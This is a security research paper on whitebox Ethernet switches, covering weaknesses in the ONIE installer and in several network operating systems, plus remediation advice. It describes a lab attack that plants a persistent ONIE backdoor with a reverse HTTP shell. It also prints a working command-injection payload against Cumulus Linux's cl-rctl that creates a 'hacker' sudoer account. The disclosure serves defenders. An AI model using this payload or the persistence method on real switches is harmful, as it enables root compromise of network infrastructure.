

Staying Persistent in Software Defined Networks

Gregory Pickett, gregory.pickett@hellfiresecurity.com, @shogun7273

Introduction	2
Open Network Install Environment	
Features	2
Weaknesses	3
Network Operating Systems	
Compatible Distributions	3
Weaknesses	4
Demonstration	
My Scenario	5
My Outcome	6
Increasing Risk	6
Additional Dangers	6
Demonstration	
My Scenario	6
My Outcome	7
Available Solutions	
Hardware	7
Open Network Install Environment	7
Network Operating Systems	8
Agents	8
Enterprise Architecture	8
Racing Ahead	
Impact On Security	8
Keeping Pressuring On Developers	8
Making The Difference	9
Conclusion	
Final Thoughts	9
Links	9

Introduction

The Whitebox Ethernet movement seeks to turn switches into a commodity. It seeks to turn the Ethernet switch into a blank slate. A blank slate that can be made by anybody, and used by anybody. A blank slate that is the same from one vendor to the next so that it no longer matters which one you buy because they are all the same. And as such, they are easily added and easily taken away from your network without difficulty. In the world of Whitebox Ethernet, what matters is the software. It is the software that has the features that you need. It is the software that you change when you need to change your network and not the hardware.

To make this all possible, Whitebox Ethernet uses merchant, or mass produced, generic silicon in the form of standard chipsets. Chipsets like those manufactured by Trident and Broadcom. It also uses standard processors. Processors manufactured by Intel, AMD, and PowerPC. And it involves a common operating system, one that is often Linux-based. Whitebox Ethernet is critical for Software Defined Networking but it can be used without it.

There are a lot of reasons to use Whitebox Ethernet. They are in fact the same reasons that you would use Software Defined Networks. They reduce costs, increase flexibility, and increase control. There are three ways to take advantage of these benefits. One is traditional. You could connect to a Whitebox Ethernet switch and configure it just like you would a traditional switch. You could even script its setup just like you would a traditional switch. The second is DevOps. You can deploy an agent to the switch, an agent that configures it, monitors it, and backs it up with the rest of your infrastructure. Or you could use it as part of a Software Defined Network. You can have the controller connect to the switch and manage it as well as the others like they were all one big switch. This is in fact where Whitebox Ethernet really shines.

A driving force in the Whitebox Ethernet movement is the Open Compute Project. Started by Facebook, the project totally redesigned existing technology to meet Facebook's emerging needs. In the process, they created new specifications for server, storage, and the data center. These designs were meant to be efficient, to be inexpensive, and to be easy to service. These designs were also vanity free, minimalistic, not tied to any brand, nor used anything proprietary. And they did this by abstracting all the components, making them interchangeable, and therefore making it possible for anyone to manufacture and use them. What they had done in essence was turn the hardware that they needed for their operations into commodities by unlocking them from any vendor or any vendor's technology.

But despite the switch being a commodity, they still needed a way to make the Network Operating System it used one as well. They needed to make the Network Operating System as easily swapped out as the hardware. Enter the Open Network Install Environment.

Open Network Install Environment

Features

ONIE, or the Open Network Install Environment, is firmware for bare metal network switches. It is a network bootloader that operates on top of a system bootloader like grub or u-boot. Its sole purpose is to facilitate the installation and removal of Network Operating Systems. It comes preinstalled on switches and automates switch deployment. Just plug a switch with ONIE installed into your network and the Network Operating System automatically gets deployed. Need a new Network Operating System on your switches. Push a grub/uboot variable out to your switches, reboot them, and ONIE will automatically install a new network operating system.

Weaknesses

While ONIE works very well, it is not without its problems. And its problem is that it is not secure. Its privileged account, root, starts with no password and it does not force you to set one. It uses Telnet. If you should choose to use SSH, the keys that you will use are weak. Installation mode uses 18-bits of entropy for the SSH key. Recovery mode uses 26-bits of entropy for the SSH key. This means that ONIE, while running, is vulnerable to unauthorized access via direct entry, and information disclosure via sniffing and MiTM.

The URLs that it uses to retrieve a Network Operating System installer and the order that it uses them are set and predictable. The file names that it looks for are set and predictable. It does not use encryption nor authentication during the retrieval process. This means that ONIE, when installing a Network Operating System, is vulnerable to having the installation hijacked via a rogue DHCP server, an IPv6 neighbor, or a spoofed TFTP server.

After the Network Operating System is installed and running, the ONIE partition is accessible and exposed. Should it get modified while the Network Operating System is running, there is no way to stop it from being used because there is no secure boot. This means that it is vulnerable to indirect compromise via the Network Operating System. This is a problem because if it is compromised it can be used to remain persistent in the network. So it is important to see how well those network operating systems are secured.

Network Operating Systems

Network Operating Systems get installed by ONIE. It is these Network Operating Systems that operate the switch and move packets across the network. While there are a number of Network Operating Systems on the market, only a handful offer ONIE-compatible installers. The four most prominent are Open Network Linux, Switch Light, Cumulus Linux, and Mellanox-OS. These are the ones that we will be looking at to see how well they secure themselves. We need to see if they are secure enough to protect ONIE.

Compatible Distributions

Open Network Linux

The first is Open Network Linux. It is based on Debian Linux and it is bare-bones with no features and no tools. Open Network Linux is a reference implementation and was developed primarily to be used by others to build their own network operating system. It will deploy onto and operate the switch but lacks what you would need to properly configure and manage it. It is maintained by the Open Compute Project.

Switch Light

The second is Switch Light. Switch Light is an Open Network Linux-based Network Operating System that has been loaded with Big Switch Network's Indigo Agent. It is an extension of Big Switch Fabric, an SDN product, and gets installed by Big Switch Fabric when you plug a switch into the data center network. It is for the most part hands-off as the Big Switch Fabric controller handles all the setup, configuration, monitoring, and management of the switch. It is maintained by Big Switch and is ideal for Software Defined Networks.

Cumulus Linux

The third is Cumulus Linux. It too is based on Debian Linux but lacks an agent. However, it works well with Puppet, Chef, and Ansible. This makes it suitable for an operation that uses network automation and orchestration to operate the network rather than SDN. It is maintained by Cumulus Networks and is primarily, as you can see, meant for DevOps.

Mellanox-OS

The fourth is Mellanox-OS. It is based on Enterprise Linux 5 and has several different agent options. It comes installed with Puppet but works equally well with Chef or Ansible, all of which are DevOps. It can also use eSwitch. eSwitch uses ZeroMQ and allows the switch to be part of a Software Defined Network. It is maintained by Mellanox Networks and is equally at home in a DevOps or an SDN environment.

Weaknesses

Agents

Neither Switch Light's Indigo nor Mellanox-OS's eSwitch uses encryption or authentication. There is a wrapper available for ZeroMQ but it is not utilized. This means that both are vulnerable to topology, flow, and message modification through unauthorized access. All of the Network Operating Systems either lack SSL support or use outdated libraries.

Network Operating System	OpenSSL
Switch Light (v2.5.1)	No Support for SSL
Cumulus Linux (v2.6.0)	OpenSSL 1.0.1e
MLNX-OS (v3.3.4)	OpenSSL 0.9.8e-fips-rhel5

TABLE I. OPENSSL VERSIONS

Additionally, we are seeing Switch Light's Indigo, and Cumulus Linux's Puppet run as root with Switch Light's Indigo using lots of MEMCPY. None of which you like to see. The use of MEMCPY is risky, and running as root means that if these agents are compromised, via MEMCPY or something else, so is the switch.

Operating Systems

The foundation of any interaction with the operating system is the shell. If the shell is not solid, then much of what the operating system does is at risk. None of the Network Operating Systems are using solid shells. All of the shells that they use are outdated.

Network Operating System	Shell
Switch Light (v2.5.1)	Bash (v4.2.37)
Cumulus Linux (v2.6.0)	Bash (v4.2.37)
MLNX-OS (v3.3.4)	Bash (v3.2.9)

TABLE II. BASH VERSIONS

Next comes the accounts that you use to access the shell, both privileged and non-privileged. All three operating systems have default and fixed accounts. This means that Switch Light, Cumulus Linux, and Mellanox-OS are vulnerable to unauthorized access via targeted keylogging. And since none of the operating systems force you to change the

passwords on any accounts, the opportunity to get and keep that access is increased. Root accounts are hidden from the user on Switch Light and Mellanox-OS so they are likely to never be changed.

Once an intruder has logged onto the switch, none of the operating systems does a very good job of keeping the intruder from accessing the shell. To get access to a shell, an intruder on Switch Light would only need to enter "enable", and "debug bash" at the command-line wrapper. To get access to a shell, an intruder on Cumulus Linux would only need to login as Cumulus Linux doesn't use a wrapper. To get access to a shell, an intruder on Mellanox-OS would need to configure puppet and launch a puppet master. A puppet master could easily grant access to the shell by launching one of linux's pre-installed tools.

Once an intruder has access to the shell, none of the operating system does a very good job of keeping the intruder from gaining root privileges. On Switch Light, the admin, or non-privileged user, has root privileges as it's uid is 0. On Cumulus Linux, cumulus, the non-privileged user, has blanket use of sudo. On Mellanox-OS, puppet is able to launch a backdoor with admin privileges. On Mellanox-OS, the admin, or non-privileged user, has root privileges as it's uid is 0 also.

This means that all of the operating systems are vulnerable to being completely compromised. From there, it is easy to plant something into ONIE. It's true. Your entire network is one keylogger away. And with targeted keylogging, it is not very far away.

Demonstration

To illustrate how simple it would be for a determined attacker to use targeted keylogging to gain a persistent foothold in a network using these operating systems, I set up an ONIE-based switch in my lab. This particular switch ran the Demo Network Operating System from ONIE, used a wrapper just like Switch Light, and had a user named admin.

My Scenario

1. Network Administrator, running a Windows-based system, clicks on a link, either on a compromised website or in an email.
2. The Network Administrator's Windows system is infected with custom malware.
3. The custom malware keylogs until it encounters the privileged account name "admin" and captures its password. The custom malware scans for and logs into the Linux-based whitebox switch that it finds.
4. Once there, it executes the commands to escape the wrapper and access the shell. Next, it writes a Linux-compatible binary to the switch's file system and starts the binary as a backdoor.
5. The custom malware then unpacks the ONIE partition and copies the binary there. In addition, it modifies the onie-nos-install shell script to implant the binary into any Network Operating System that it installs. This ensures that the backdoor will survive a refresh. It then repacks the ONIE partition and puts it back.
6. The custom malware then connects to the backdoor on the switch.
7. Finally, the custom malware opens a Reverse HTTP connection to the intruder's C2 server and becomes a pivot for the backdoor.

My Outcome

I setup a switch on my network, and clicked on the link of a malicious website that I staged. Being custom, the malware didn't set off my anti-virus. I logged into my switch via SSH and logged out again. After just a few minutes, the Reverse HTTP Shell on my remote C2 server was active and I was able to access the switch. This despite the fact that the switch was only allowed on the local area network. The next step was to refresh the switch.

In an effort to clear the infection, I rebooted the switch into ONIE rescue mode and reinstalled my Demo Network Operating System. After just a few minutes, the Reverse HTTP Shell on my remote C2 server was active and I was able to access the switch. The backdoor had survived a refresh.

Increasing Risk

It could have been worse. The custom malware could have been given the ability to manipulate flow tables or attack loopback-based services. This would be particularly useful if the access it had couldn't be elevated to root. The Linux-binary could even have been given the ability to reinfect ONIE in the event it was cleaned. Or given the ability to worm in the event both were cleaned. That way, one switch could reinfect another. Yes, it could have been bad. Bad enough to force you to take your network offline for days in order to clean it up.

Additional Dangers

The risk doesn't stop there. The tools loaded on these Operating Systems have weaknesses too. One in particular is Cumulus Linux's python-clcmd package. This package contains several command-line tools meant to be used by low privilege users. This reduced privilege user is only supposed to be given sudo access to cl-bgp, cl-ospf, cl-ospf6, cl-ra, and cl-rctl. These tools filter and then pass on commands to clcmd_server for execution. This filtering limits the commands and arguments that can be used. This way the lower privileged user can configure the switch without having full access to it. The problem is that clcmd_server is vulnerable to command injection. Command injection that allows low privilege users to bypass the filtering, and instead have clcmd_server execute any command and execute them as root.

The command injection does have a caveat. You can't use any spaces in your injected command. This, however, can be overcome by creating a script first and then using the command injection to execute that script.

Demonstration

My Scenario

1. A network technician is given an account on the switch so that they can manage the switch. They have access to login and to sudo execute cl-bgp, cl-ospf, cl-ospf6, cl-ra, and cl-rctl. They have sudo access to nothing else.
2. The network technician logs into the switch and writes a script in their home directory. This script creates a user named "hacker" and adds the user to the sudoers file with the ability to use sudo for any command.
3. The network technician sudo executes cl-rctl with the prepared arguments. But in addition to the prepared arguments, he includes a second command that invokes the script.
4. The network technician now has a second account on the switch that gives him complete access and complete control over the switch.

My Outcome



The screenshot shows a terminal window titled "cumulus@gateway: /home/admin". The session starts with a sudo command to list files, which fails because the user admin is not allowed to execute sudo. It then shows a ps aux command listing processes, followed by a grep command for "clccmd_server.py". A cat command is used to read and execute a script named "script.sh". The script adds a user "hacker" with password "aa", edits the sudoers file to allow "hacker" to run "sudo cl-rctl", and then runs "cl-rctl" with the edited sudoers file. Finally, it switches to the "hacker" account and runs "whoami", showing the user has successfully gained root privileges.

```
$ sudo ls
[sudo] password for admin:
Sorry, user admin is not allowed to execute '/bin/ls' as root on gateway.
$ ps aux | grep clcmd_server.py
root      2604  0.0  0.3 11124  6228 ?        S     13:37   0:00 /usr/bin/python /usr/lib/python2.7/dist-packages/clcmd_server.py
admin     6275  0.0  0.0  2244    700 pts/0     S+    14:06   0:00 grep clcmd_server.py
$ cat ./script.sh
useradd hacker -p $(perl -e'print crypt("hacker", "aa")') -m
echo 'hacker ALL=(ALL:ALL) ALL' | tee --append /etc/sudoers > /dev/null
$ sudo cl-rctl "ip nht set ospf route-map long';whoami"
root
$ sudo cl-rctl "ip nht set ospf route-map long';/home/admin/script.sh"
$ su hacker
Password:
$ whoami
hacker
$ sudo ls
script.sh
$
```

I setup the switch in my lab with Cumulus Linux. I logged into the switch as cumulus and created a low privileged user name admin. This user only had the ability to sudo execute cl-bgp, cl-ospf, cl-ospf6, cl-ra, and cl-rctl. Next, I logged out of the switch as cumulus and logged back into the switch as admin. As admin, I created the script and sudo executed cl-rctl with the script tagged on at the end. The script executed without errors. I switched over to the hacker account and dumped the passwd and shadow files.

Available Solutions

OK. How do we fix this? How do we improve the security of Whitebox Ethernet so that it does not lead us into harms way. We do this by addressing five different areas.

Hardware

The first area to address is hardware. If these switches were booting securely, then the ONIE modifications would cause the switch to fail on boot. This failure would immediately identify the infected firmware, and it could be removed. Rob Sherwood of Big Switch Networks pushed to have a TPM chip installed on Whitebox Ethernet switches and was successful in getting them installed in most x86-based switches. We need to get them on PowerPC-based switches as well. And we need to start using them to provide ONIE with a secure boot process.

Open Network Install Environment

After the hardware, ONIE needs to be addressed. Telnet should be removed, and SSH keys should have their entropy increased. There is no need for such weak management protocols. The root account should have its password changed and the password change should be forced. I think we are all to the point where we can keep track of passwords or

reset the switch to factory default if we forget them. The IPv6 installation and TFTP waterfall options should be removed. There is nothing wrong with DHCP providing the installation path for the network operating system. And, the installations should be signed. If the security and integrity of our network is important, then there is no reason why we shouldn't ensure its integrity by having the network operating system signed.

Network Operating Systems

The network operating system is the easiest to address. You should be able to customize the privileged user and non-privileged user accounts. This would eliminate targeted keylogging. The passwords for all accounts should be forced to change and, if possible, changed regularly. This would give any leaked or stolen passwords a limited life. Switch Light's and Mellanox-OS's non-privileged accounts should not be using uid 0. Finally, shell access should be tightened for Switch Light and Cumulus Linux. Cumulus Linux should use a shell wrapper. And Switch Light, and Cumulus Linux should require a One-Time-Password to leave the wrapper. This OTP could easily be provided via a support portal. If this were done, access to the shell would only be available to authorized personnel. Finally, Mellanox-OS should remove socat.

Agents

For the agents, it's just as easy. They should use Transport Layer Security. TLS should implement both encryption and authentication to make sure only authorized management platforms can connect to them and modify network flows. If the network team is worried about certificate and key management, they can leverage DevOps for that. If you are using Whitebox Ethernet as part of your SDN, it is time to put pressure on that vendor. The controller is supposed to be doing all the heavy lifting. Make sure it's lifting the certificates and keys too.

Enterprise Architecture

Until the vendors get their act together, you are going to have to pick up the slack. If you haven't isolated your management plane, get it done now. I mean more isolated than just a separate VLAN. Physically separate your management plane from your data plane. This will make sure that your network administrators and network technicians aren't jumping off points for network compromise. There is nothing wrong with jump boxes. You just have to get used to them.

Once that is done, put your switches into the audit rotation. And have the audit make sure that the password gets changed regularly and that the ONIE partition hash doesn't change at all. If you are checking your ONIE partition hashes, then you will know if something has infected it.

Racing Ahead

Impact On Security

Getting products and/or features to market is important. I get it. We all get it. But vendors don't seem to be learning from the mistakes that other operating system vendors have made. Nor do they seem to be using the best practices that they have developed. The types of controls that I suggest have been implemented before. They are present in both desktop operating systems and network operating systems. Why aren't they being used in Network Operating Systems by default as part of best practices? The fact that they aren't is putting their customers at risk.

Keeping Pressure On Developers (Scaring Them)

So it's my job to continue the cycle. We hack it. They fix it. It doesn't have to be this way. Even the smallest of vendors can hire someone for security. Out of the two hundred or so these startups hire, why can't one be for security? Haven't they been told that fixing it later is more expensive? And in the end, aren't they looking to save money? Just hire that one guy for security! Because when it comes to winning market share, security can be a feature too.

Making The Difference

To really nail Whitebox Ethernet down, Network Operating System vendors are going to have learn from desktop and server operating systems. They have best practices for a reason. These vendors should start using them. Then take the next step. Software Defined Networking is the next phase of networking. They should leverage the benefits it brings. Both DevOps management platforms and Software Defined Networking controllers can take charge of the Network Operating System just like they take charge of the switch configuration and the network flows. They can be used as a security reference. They can audit network operating systems, and they can centralize logging. They can even be used to test and verify the state of the network operating system. The vendors just need to be willing to do it.

Conclusion

Final Thoughts

SDN has the potential to turn the entire Internet into a cloud. The benefits, of which, would be orders of magnitude greater what we see now. But there is a hole in the middle of it that could easily be filled by the likes of the NSA or worse yet nation-states like China. But let's face it, they are all doing it ... the United States, Russia, Iran, Etc. Let's not let that happen. And that starts here.

Links

- [Network Dictionary – Whitebrand Ethernet](http://etherealmind.com/network-dictionary-whitebrand-ethernet/) (<http://etherealmind.com/network-dictionary-whitebrand-ethernet/>)
- [Quick Start Guide for ONIE](https://github.com/opencomputeproject/onie/wiki/Quick-Start-Guide) (<https://github.com/opencomputeproject/onie/wiki/Quick-Start-Guide>)
- [CLI Reference for ONIE](https://github.com/opencomputeproject/onie/wiki/CLI-Reference) (<https://github.com/opencomputeproject/onie/wiki/CLI-Reference>)
- [How to Build Open Network Linux](http://opennetlinux.org/docs/build) (<http://opennetlinux.org/docs/build>)
- [Getting Started with Open Network Linux](http://opennetlinux.org/docs/deploy) (<http://opennetlinux.org/docs/deploy>)
- [Big Cloud Fabric](http://www.bigswitch.com/sdn-products/big-cloud-fabrictm) (<http://www.bigswitch.com/sdn-products/big-cloud-fabrictm>)
- [Switch Light](http://www.bigswitch.com/products/switch-light) (<http://www.bigswitch.com/products/switch-light>)
- [Big Switch Labs](http://labs.bigswitch.com) (<http://labs.bigswitch.com>)
- [Indigo](https://github.com/floodlight/indigo) (<https://github.com/floodlight/indigo>)
- [Indigo Virtual Switch](https://github.com/floodlight/ivs) (<https://github.com/floodlight/ivs>)
- [Technical Documentation for Cumulus Linux](http://docs.cumulusnetworks.com/) (<http://docs.cumulusnetworks.com/>)
- [Test Drive Cumulus Linux](http://cumulusnetworks.com/get-started/test-drive-open-networking/) (<http://cumulusnetworks.com/get-started/test-drive-open-networking/>)
- [Puppet + Cumulus Linux](https://puppetlabs.com/blog/puppet-cumulus-linux) (<https://puppetlabs.com/blog/puppet-cumulus-linux>)
- [Puppet](https://github.com/puppetlabs/puppet) (<https://github.com/puppetlabs/puppet>)
- [MLNX-OS](http://www.mellanox.com/page/mlnx_os) (http://www.mellanox.com/page/mlnx_os)
- [Switch Management Software for Mellanox InfiniBand](http://h20564.www2.hp.com/hpsc/swd/public/detail?swItemId=MTX_8adfcbf6e0834d5a82564b4825)
(http://h20564.www2.hp.com/hpsc/swd/public/detail?swItemId=MTX_8adfcbf6e0834d5a82564b4825)
- [eSwitchd](https://github.com/mellanox-openstack/mellanox-eswitchd) (<https://github.com/mellanox-openstack/mellanox-eswitchd>)
- [0MQ](http://zeromq.org/intro:read-the-manual) (<http://zeromq.org/intro:read-the-manual>)